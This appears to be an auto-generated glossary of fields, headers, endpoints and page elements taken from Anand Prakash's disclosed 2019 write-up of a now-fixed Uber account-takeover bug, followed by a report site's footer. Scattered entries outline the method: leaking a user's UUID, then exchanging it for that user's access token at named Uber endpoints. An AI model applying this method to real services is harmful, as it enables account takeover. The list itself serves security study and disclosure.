  • userUuid: the field in the step 2 request body that tells the server which user's data to return.
  • token: the field in the step 2 response that holds the mobile app access token.
  • emailToken: a field in the step 2 response related to email verification.
  • mobileToken: a field in the step 2 response related to mobile verification.
  • tenancy: a field in the step 2 response indicating which environment the record lives in, here uber/production.
  • role: a field in the step 2 response indicating the user's role, here PARTNER.
  • driverInfo: the section of the step 2 response holding the victim's driver record.
  • partnerInfo: the section of the step 2 response holding the victim's partner record.
  • analytics: the section of the step 2 response holding signup analytics.
  • Buffer: a JSON representation of binary data used in some fields, shown as {"type":"Buffer","data":[...]}.
  • gratuity: a field in the step 2 response, here 0.3.
  • fraudScore: a field in the step 2 response, here 0.
  • inviteCode: the section of the step 2 response holding the victim's invite code details.
  • promotionCode: a field inside inviteCode, here manishas105.
  • driverStatus: a field inside driverInfo, here APPLIED.
  • driverFlowType: a field inside driverInfo, here UBERX.
  • signupForm: a field inside analytics, here iphone.
  • signupAppVersion: a field inside analytics, here 2.64.1.
  • mobileConfirmationStatus: a field in the step 2 response, here MOBILE_NOT_CONFIRMED.
  • dateOfBirth: a field in the step 2 response, redacted.
  • preferredName: a field in the step 2 response, redacted.
  • firstname / lastname: fields in the step 2 response holding the victim's name, redacted.
  • email: a field in the step 2 response holding the victim's email address, redacted.
  • location: a field in the step 2 response, here 00000.
  • pictureUrl: a field in the step 2 response holding a profile picture URL, redacted.
  • recentFareSplitterUuids: a field in the step 2 response listing UUIDs of recent fare splitters.
  • lastSelectedPaymentProfileUuid: a field in the step 2 response holding a payment profile UUID, redacted.
  • lastSelectedPaymentProfileGoogleWalletUuid: a field in the step 2 response, here null.
  • inviterUuid: a field in the step 2 response, here null.
  • banned: a field in the step 2 response, here false.
  • cardio: a field in the step 2 response, here false.
  • hasConfirmedEmail: a field in the step 2 response, here true.
  • hasConfirmedMobile: a field in the step 2 response, here "no".
  • hasOptedInSmsMarketing: a field in the step 2 response, here false.
  • hasAmbiguousMobileCountry: a field in the step 2 response, here false.
  • lastConfirmedMobileCountryId: a field in the step 2 response, here 77.
  • mobileCountryId: a field in the step 2 response, here 77.
  • mobileCountryCode: a field in the step 2 response, here "+91".
  • countryId: a field in the step 2 response, here 77.
  • languageId: a field in the step 2 response, here 1.
  • nickname: a field in the step 2 response, redacted.
  • contactinfo: a field inside driverInfo, redacted.
  • contactinfoCountryCode: a field inside driverInfo, here "+91".
  • contactinfoCountryIso2Code: a field inside driverInfo, here "KR".
  • driverLicense: a field inside driverInfo, here "None".
  • firstDriverTripUuid: a field inside driverInfo, here null.
  • iphone: a field inside driverInfo, here null.
  • partnerUserUuid: a field inside driverInfo, redacted.
  • receiveSms: a field inside driverInfo, here true.
  • twilioNumber / twilioNumberFormatted: fields inside driverInfo, here null.
  • cityknowledgeScore: a field inside driverInfo, here 0.
  • statusLocks: a field inside driverInfo, here null.
  • driverEngagement / courierEngagement: fields inside driverInfo, here null.
  • address / address2: fields inside partnerInfo, redacted or "None".
  • territoryUuid: a field inside partnerInfo, redacted.
  • company: a field inside partnerInfo, here "None".
  • cityId: a field inside partnerInfo, here 130.
  • cityName: a field inside partnerInfo, here "None".
  • firstPartnerTripUuid: a field inside partnerInfo, here null.
  • preferredCollectionPaymentProfileUuid: a field inside partnerInfo, here null.
  • phone / phoneCountryCode: fields inside partnerInfo, here "" and "+91".
  • state: a field inside partnerInfo, here "None".
  • vatNumber: a field inside partnerInfo, here "None".
  • zipcode: a field inside partnerInfo, here "None".
  • fleetTypes / fleetServices: fields inside partnerInfo, here empty arrays.
  • isFleet: a field inside partnerInfo, here true.
  • signupLat / signupLng: fields inside analytics, here 133.28741199 and 11177.1111.
  • signupTerritoryUuid: a field inside analytics, redacted.
  • signupPromoId: a field inside analytics, here null.
  • signupSessionId: a field inside analytics, redacted.
  • signupAttributionMethod: a field inside analytics, here null.
  • signupCityId: a field inside analytics, here 130.
  • signupDeviceId: a field inside analytics, here null.
  • signupReferralId: a field inside analytics, here null.
  • signupPromoCode / signupPromoCodeUuid / signupPromoUuid: fields inside analytics, here null.
  • signupMethod: a field inside analytics, here "REGULAR".
  • createdAt / updatedAt / deletedAt: timestamp fields, shown as Buffer objects or null.
  • nationalId / nationalIdType: fields in the step 2 response, here null.
  • merchantLocation: a field in the step 2 response, here null.
  • lastConfirmedMobile: a field in the step 2 response, redacted.
  • requestedDeletionAt: a field in the step 2 response, here null.
  • userTypes: a field in the step 2 response, here null.
  • freightInfo: a field in the step 2 response, here null.
  • tempPictureUrl: a field in the step 2 response, here null.
  • identityVerified: a field in the step 2 response, here null.
  • paymentEntityType: a field in the step 2 response, here null.
  • riderEngagement: a field in the step 2 response, here null.
  • identityRejectReasonUuid: a field in the step 2 response, here null.
  • genderInferred / genderIdentity / genderDocumented: fields in the step 2 response, here null.
  • riderIneligibleWdw: a field in the step 2 response, here null.
  • defaultPaymentProfileByProduct: a field in the step 2 response, here null.
  • loginEligibility: a field in the step 2 response, here null.
  • getDisclosureVersionUuid: a field in the step 2 response, here "".
  • getLocaleCopy: a field in the step 2 response, here null.
  • getUser: the section of the step 2 response holding the full user record.
  • data: the top-level field in the step 2 response holding the response payload.
  • status: a field in both responses indicating success or failure.
  • code: a field in the step 1 response giving an error code, here 1009.
  • message: a field in the step 1 response giving a human-readable error message.
  • nationalPhoneNumber: the field in the step 1 API #1 body holding the phone number.
  • countryCode: the field in the step 1 API #1 body holding the country calling code.
  • email: the field in the step 1 API #2 body holding the email address.
  • language: the field in the step 2 body holding the language, here "en".
  • Connection: a header telling the server whether to keep the connection open, here close.
  • Accept: a header telling the server what response format the client wants, here application/json.
  • Accept-Encoding: a header telling the server what compression the client can handle, here gzip, deflate.
  • Accept-Language: a header telling the server what language the client prefers, here en-US,en;q=0.9.
  • DNT: Do Not Track, a browser preference header, here 1.
  • x-csrf-token: the header carrying the CSRF token, redacted here.
  • Cookie: the header carrying the session cookie, redacted here.
  • User-Agent: the header describing the browser and operating system, here Chrome 73 on macOS 10.14.3.
  • Origin: the header telling the server which site the request came from, here https://bonjour.uber.com.
  • Content-Type: the header telling the server the body format, here application/json.
  • Content-Length: the header giving the body size in bytes, here 67.
  • Host: the header giving the server name, here partners.uber.com or bonjour.uber.com.
  • POST: the HTTP method meaning "I am sending data".
  • HTTP/1.1: the version of the HTTP protocol used in the requests.
  • _rpc: the path segment indicating an RPC-style endpoint.
  • p3: a path segment in the step 1 URL.
  • marketplace: a path segment in the step 2 URL.
  • fleet-manager: a path segment in the step 1 URL.
  • addDriverV2: the RPC function name in the step 1 URL.
  • getConsentScreenDetails: the RPC function name in the step 2 URL.
  • partners.uber.com: the host for the step 1 endpoint.
  • bonjour.uber.com: the host for the step 2 endpoint.
  • https://bonjour.uber.com: the origin value in the step 2 request.
  • Mozilla/5.0: the start of the User-Agent string, a convention in browser identification.
  • Macintosh; Intel Mac OS X 10_14_3: the operating system part of the User-Agent string.
  • AppleWebKit/537.36: the rendering engine part of the User-Agent string.
  • KHTML, like Gecko: a compatibility token in the User-Agent string.
  • Chrome/73.0.3683.103: the browser and version in the User-Agent string.
  • Safari/537.36: a compatibility token in the User-Agent string.
  • en-US,en;q=0.9: the language preference value, with a quality factor q=0.9.
  • gzip, deflate: two compression formats the client can accept.
  • application/json: the media type for JSON data.
  • close: the value of the Connection header meaning close after response.
  • 1: the country calling code in the step 1 API #1 body.
  • 99999xxxxx: the redacted phone number in the step 1 API #1 body.
  • [redacted]: the redacted email address in the step 1 API #2 body.
  • 47d063f8–0xx5e-xxxxx-b01a-xxxx: the redacted UUID leaked in the step 1 API #1 response.
  • 47d063f8–0xx5e-4eb4-xxx-xxxxxxx: the redacted UUID the author states belongs to the phone number 99999xxxxx.
  • ca111b95–1111–4396-b907–83abxxx5f7371e: the redacted UUID leaked in the step 1 API #2 response.
  • Ca111b95–1111–4396-b907–83abxxx5f7371e: the redacted UUID the author states belongs to the email [redacted].
  • xxxx–776–4xxxx1bd-861a-837xxx604ce: the redacted victim UUID in the step 2 request body.
  • b8038ec4143bb4xxxxxx72d: the redacted mobile app access token in the step 2 response.
  • cxxxxxc5f7371e: the redacted victim UUID in the step 2 response.
  • Maxxxx / XXXX: the redacted victim name in the step 2 response.
  • manishas105: the promotion code value in the step 2 response.
  • 2.64.1: the signup app version in the step 2 response.
  • iphone: the signup form value in the step 2 response.
  • APPLIED: the driver status value in the step 2 response.
  • UBERX: the driver flow type value in the step 2 response.
  • KR: the contact info country ISO2 code in the step 2 response.
  • +91: the country calling code value in the step 2 response.
  • 77: the country id value in the step 2 response.
  • 130: the city id value in the step 2 response.
  • 0.3: the gratuity value in the step 2 response.
  • 0: the fraud score value in the step 2 response.
  • 133.28741199 / 11177.1111: the signup latitude and longitude values in the step 2 response.
  • 00000: the location value in the step 2 response.
  • REGULAR: the signup method value in the step 2 response.
  • MOBILE_NOT_CONFIRMED: the mobile confirmation status value in the step 2 response.
  • uber/production: the tenancy value in the step 2 response.
  • PARTNER: the role value in the step 2 response.
  • Buffer: a JSON representation of binary data, shown as {"type":"Buffer","data":[...]}.
  • null: JSON value meaning "no value".
  • true / false: JSON boolean values.
  • []: JSON empty array.
  • {}: JSON empty object.
  • "": JSON empty string.
  • $6500 USD: the bounty amount awarded by Uber.
  • 785: the number of metropolitan areas where Uber operates, as stated in the report.
  • $100 billion: the valuation mentioned in the report, as per Bloomberg.
  • April 19, 2019: the date the report was sent to Uber.
  • April 25, 2019: the date the report was triaged.
  • April 26, 2019: the date the vulnerability was fixed and the bounty awarded.
  • June 28, 2019: the date disclosure was requested.
  • September 9, 2019: the date the report was disclosed by Uber.
  • September 14, 2019: the publication date of the write-up.
  • Anand Prakash: the author of the write-up and the researcher who reported the bug.
  • AppSecure: the author's affiliation mentioned in the write-up.
  • PingSafe: the company the author is described as founder of in the author box.
  • Facebook: mentioned as having had a similar access token leak the previous year.
  • Bloomberg: the source of the valuation figure mentioned in the report.
  • San Francisco, California: the headquarters location of Uber, as stated in the report.
  • Uber Eats: Uber's food delivery service, mentioned as having its own accounts.
  • rider: a passenger account on Uber.
  • partner: a driver or fleet partner account on Uber.
  • fleet: a group of drivers managed together, mentioned in isFleet and fleetTypes.
  • consent screen: the page where a user agrees to share information with an app.
  • responsible disclosure policy: the policy under which the write-up was published with Uber's permission.
  • proof of concept: a demonstration that a bug is real, here a video.
  • Vimeo: the video platform hosting the proof of concept, as shown by the link in the write-up.
  • GPTZero: the AI detection tool shown in the page banner, not part of the vulnerability.
  • HackerNoon: the publication platform where the write-up appears, as shown by the page elements.
  • Yubico: a sponsor shown in the related posts section, not part of the vulnerability.
  • TorrentFreak: an author of a related post, not part of the vulnerability.
  • Telegraph: a domain appearing in related post links, not part of the vulnerability.
  • MetaMask: mentioned in a related post title, not part of the vulnerability.
  • Cryptopia: mentioned in a related post title, not part of the vulnerability.
  • HQ Trivia: mentioned in a related post title, not part of the vulnerability.
  • Netflix MENA: mentioned in a related post title, not part of the vulnerability.
  • Python: mentioned in a related post title, not part of the vulnerability.
  • Android: mentioned in a related post title, not part of the vulnerability.
  • Chase Bank: mentioned in a related post title, not part of the vulnerability.
  • Peruvian Government: mentioned in a related post title, not part of the vulnerability.
  • ETH: mentioned in a related post title, not part of the vulnerability.
  • US Congress: mentioned in a related post title, not part of the vulnerability.
  • Bitcoin: mentioned in a related post tag, not part of the vulnerability.
  • iPhone: mentioned in a related post tag, not part of the vulnerability.
  • Phishing: mentioned in a related post tag, not part of the vulnerability.
  • Cybersecurity: mentioned in a related post tag, not part of the vulnerability.
  • Hacking: mentioned in a related post tag, not part of the vulnerability.
  • Apps: mentioned in a related post tag, not part of the vulnerability.
  • Security: mentioned in a related post tag, not part of the vulnerability.
  • Mobile Phone Security: mentioned in a related post tag, not part of the vulnerability.
  • Online Piracy: mentioned in a related post tag, not part of the vulnerability.
  • Sponsored: mentioned in a related post tag, not part of the vulnerability.
  • HackerNoon Top Story: mentioned in a related post tag, not part of the vulnerability.
  • Software Engineering: the topic tag on the write-up.
  • uber: a topic tag on the write-up.
  • bug-bounty: a topic tag on the write-up.
  • api: a topic tag on the write-up.
  • bounty: a topic tag on the write-up.
  • latest-tech-stories: a topic tag on the write-up.
  • hacked-all-uber-accounts: a topic tag on the write-up.
  • hacked-uber-accounts: a topic tag on the write-up.
  • getting-user-of-uuid-uber-user: a topic tag on the write-up.
  • Terminal: a featured-in link on the write-up.
  • Lite: a featured-in link on the write-up.
  • Traceable: a featured-in link on the write-up.
  • Ddosi: a featured-in link on the write-up.
  • Learnrepo: a featured-in link on the write-up.
  • Hashnode: a featured-in link on the write-up.
  • Xploitlab: a featured-in link on the write-up.
  • 2,654 reads: the read count shown on the write-up.
  • Likes 0: the like count shown on the write-up.
  • Linkbacks 20: the linkback count shown on the write-up.
  • Model 3.7b: the GPTZero model version shown in the banner.
  • Certifiably Human: the credibility label shown on the write-up.
  • This story is mostly human: the GPTZero verdict shown in the banner.
  • This blog post was written by a human with little or no help from AI: the credibility note shown on the write-up.
  • This is being published with the permission of Uber under the responsible disclosure policy: the permission note shown on the write-up.
  • This was plugged quickly by the security team at Uber: the note about the fix shown on the write-up.
  • This issue is similar to Facebook's access token leak which was discovered last year: the comparison note shown on the write-up.
  • About Uber: the section heading in the write-up.
  • Description: the section heading in the write-up.
  • How my exploit worked step-by-step: the section heading in the write-up.
  • Step #1 Getting user UUID of any Uber User: the section heading in the write-up.
  • API #1: the label for the first request in the write-up.
  • API #2: the label for the second request in the write-up.
  • Step #2 Getting access token of any Uber user by supplying user id.: the section heading in the write-up.
  • The vulnerable Uber API: the label for the step 2 request in the write-up.
  • Video Proof of Concept: the label for the video in the write-up.
  • Uber fixed the issue by authorizing the request with current user session and removing sensitive information like access token from the response.: the fix description in the write-up.
  • Disclosure Timeline: the section heading in the write-up.
  • Thanks for reading.: the closing line in the write-up.
  • Anand Prakash: the author signature in the write-up.
  • Founder PingSafe.: the author bio in the write-up.
  • Read my stories: the author link in the write-up.
  • About @appsecure: the author link in the write-up.
  • TOPICS: the section heading in the write-up.
  • THIS ARTICLE WAS FEATURED IN: the section heading in the write-up.
  • Related Blog Posts: the section heading in the write-up.
  • About Author: the section heading in the write-up.
  • Community Engagement: the section heading in the write-up.
  • Likes: the label in the write-up.
  • Linkbacks: the label in the write-up.
  • by: the label in the write-up.
  • @appsecure: the author handle in the write-up.
  • @anandpraka_sh: the author handle given in the platform facts.
  • Write-ups: the source name given in the platform facts.
  • Information disclosure: the weakness given in the platform facts.
  • hackernoon.com: the asset given in the platform facts.
  • 2019-09-13: the disclosure date given in the platform facts.
  • 6500.00 USD: the bounty given in the platform facts.
  • Uber: the program given in the platform facts.
  • Anand Prakash (@anandpraka_sh): the researcher given in the platform facts.
  • I Could Have Hacked All Uber Accounts- But I Chose to Report it Instead: the title given in the platform facts.
  • writeup: the kind given in the platform facts.
  • null: the severity and CVSS values given in the platform facts.
  • {{media:0}}: the GPTZero logo image.
  • {{media:1}}: the featured image of the write-up.
  • {{media:2}}: the author image.
  • {{media:3}}: the author image.
  • {{media:4}}: the GPTZero logo image.
  • {{media:5}}: the author profile picture in the About Author section.
  • {{media:6}}: the Yubico sponsored post image.
  • {{media:7}}: the Yubico sponsored post image.
  • {{media:8}}: the Yubico author image.
  • {{media:9}}: the Netflix MENA related post image.
  • {{media:10}}: the Netflix MENA related post image.
  • {{media:11}}: the Netflix MENA author image.
  • {{media:12}}: the Hacked Apps related post image.
  • {{media:13}}: the Hacked Apps related post image.
  • {{media:14}}: the Hacked Apps author image.
  • {{media:15}}: the bug bounty related post image.
  • {{media:16}}: the bug bounty related post image.
  • {{media:17}}: the bug bounty author image.
  • {{media:18}}: the Hacked in my sleep related post image.
  • {{media:19}}: the Hacked in my sleep related post image.
  • {{media:20}}: the Hacked in my sleep author image.
  • {{media:21}}: the dating app related post image.
  • {{media:22}}: the dating app related post image.
  • {{media:23}}: the dating app author image.
  • {{media:24}}: the Peruvian government related post image.
  • {{media:25}}: the Peruvian government related post image.
  • {{media:26}}: the Peruvian government author image.
  • {{media:27}}: the MetaMask related post image.
  • {{media:28}}: the MetaMask related post image.
  • {{media:29}}: the MetaMask author image.
  • {{media:30}}: the Cryptopia related post image.
  • {{media:31}}: the Cryptopia related post image.
  • {{media:32}}: the Cryptopia author image.
  • {{media:33}}: the passwords related post image.
  • {{media:34}}: the passwords related post image.
  • {{media:35}}: the passwords author image.
  • {{media:36}}: the Android haircut related post image.
  • {{media:37}}: the Android haircut related post image.
  • {{media:38}}: the Android haircut author image.
  • {{media:39}}: the HQ Trivia related post image.
  • {{media:40}}: the HQ Trivia related post image.
  • {{media:41}}: the HQ Trivia author image.
  • {{media:42}}: the action camera related post image.
  • {{media:43}}: the action camera related post image.
  • {{media:44}}: the action camera author image.
  • {{media:45}}: the coffee shop related post image.
  • {{media:46}}: the coffee shop related post image.
  • {{media:47}}: the coffee shop author image.
  • {{media:48}}: the video proof of concept.

More by Anand Prakash

View all

6 more disclosed reports, best first.

More from Uber

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.